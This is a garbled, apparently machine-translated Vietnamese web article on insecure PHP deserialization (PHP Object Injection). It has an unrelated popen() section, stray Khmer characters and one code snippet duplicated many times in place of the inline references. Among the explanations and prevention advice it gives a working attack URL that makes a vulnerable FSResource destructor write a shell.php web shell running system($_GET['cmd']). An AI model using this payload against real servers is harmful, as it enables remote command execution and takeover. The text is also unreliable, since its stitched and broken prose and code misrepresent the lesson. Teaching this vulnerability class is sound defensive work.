Ví dụ về deserialization php không an toàn

Xin chào, bội hành động, bạn đã hạn chế thết rị hộ của popen() trong PHP. ក្រង្រ្រ្រ្រ្រង្រ្រ្រ. Cảm ơn các bạn không ghé thăm bài. com

Làm cách nào để chạy tập lệnh PHP từ trình duyệt bằng Popen?

Gọi "trình bao bọc. php" từ trình duyệt cho phép popen ($cmd,"w") trong "real. php" hoạt động như mong đợi, sao cho thiết bị xuất chuẩn của $cmd đến được trình duyệt. Nếu bạn cố bỏ qua trình bao bọc và chỉ chạy "real. php", thiết bị xuất chuẩn của $cmd bị mất thành/dev/null. Lưu ý đối với người dùng Windows sử dụng popen bắt đầu chạy tập lệnh bên ngoài mà không cần đợi php

Đối số dòng lệnh trong Popen là gì?

Từ hướng dẫn lập trình viên popen linux. "Đối số lệnh là một con trỏ tới một chuỗi kết thúc null chứa dòng lệnh shell. Lệnh này được chuyển tới /bin/sh bằng cờ -c. "Vì php sử dụng chức năng popen này, bạn cần chắc chắn /bin/sh tồn tại. Tệp này có thể không tồn tại trong môi trường chroot ()ed

PHP sử dụng các hàm gốc serialize()

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
0 để tuần tự hóa và hủy tuần tự hóa một đối tượng. Ví dụ: tập lệnh sau tạo một thể hiện của đối tượng
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
1, sắp xếp nó theo thứ tự và sau đó in biểu diễn chuỗi của đối tượng

path = $path;
        if (file_exists($path)) {
          $this->content = file_get_contents($path);
        }
    }

    function __destruct() {
        file_put_contents($this->path, $this->content);
    }

}

$resource = new FSResource('/tmp/file');
print(serialize($resource));

# Prints the following string representation:
# O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}

Sau đó, biểu diễn chuỗi có thể được giải tuần tự hóa một lần nữa để tạo lại thể hiện đối tượng và truy cập các thuộc tính của nó

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file

ví dụ dễ bị tổn thương

Việc khai thác giải tuần tự hóa trong PHP được gọi là PHP Object Injection, xảy ra khi đầu vào do người dùng kiểm soát được chuyển làm đối số đầu tiên của hàm

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
0. Đây là một
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
3 dễ bị tổn thương

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
4 hoặc
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
0 Các phương thức ma thuật PHP, được gọi khi đối tượng bị hủy hoặc giải tuần tự hóa, để gọi các tiện ích khác thực hiện các hành động độc hại trên hệ thống

Nếu lớp

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
1 được xác định trong đoạn trên nằm trong phạm vi, kẻ tấn công có thể gửi một yêu cầu HTTP chứa một đại diện được tuần tự hóa của một đối tượng
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
1 tạo tệp PHP độc hại tới
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
3 với một
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
4 tùy ý khi phương pháp ma thuật
$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
5 được gọi khi phá hủy

http://localhost/script.php?data=O:10:%22FSResource%22:2:{s:4:%22path%22;s:9:%22shell.php%22;s:7:%22content%22;s:27:%22%3C?php%20system($_GET[%22cmd%22]);%22;}

Tải trọng ở trên giải mã thành

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
6 cho phép kẻ tấn công chạy các lệnh tùy ý trên hệ thống. Các tải trọng phức tạp hơn có thể được xây dựng bằng cách xâu chuỗi mã từ nhiều lớp hoặc sử dụng lại các chuỗi POP công khai, chẳng hạn như các chuỗi có trong các dự án PHPGCC

Phòng ngừa

Không bao giờ sử dụng hàm

$instance = unserialize('O:10:"FSResource":2:{s:4:"path";s:9:"/tmp/file";s:7:"content";s:0:"";}');
print($instance->path);

# Prints the path attribute:
# /tmp/file
0 trên đầu vào do người dùng cung cấp và tốt nhất là sử dụng các định dạng tuần tự hóa chỉ dành cho dữ liệu, chẳng hạn như JSON. Nếu bạn cần sử dụng PHP deserialization, tham số tùy chọn thứ hai đã được thêm vào trong PHP 7 cho phép bạn chỉ định danh sách cho phép của các lớp được phép

Người giới thiệu

Wikipedia - Serialization PHP - unserialize OWASP - PHP Object Injection POC 2009 - Stefan Esser - Tin sốc trong khai thác PHP BlackHat USA 2010 - Stefan Esser - Tận dụng việc tái sử dụng mã trong khai thác ứng dụng PHP PHPGCC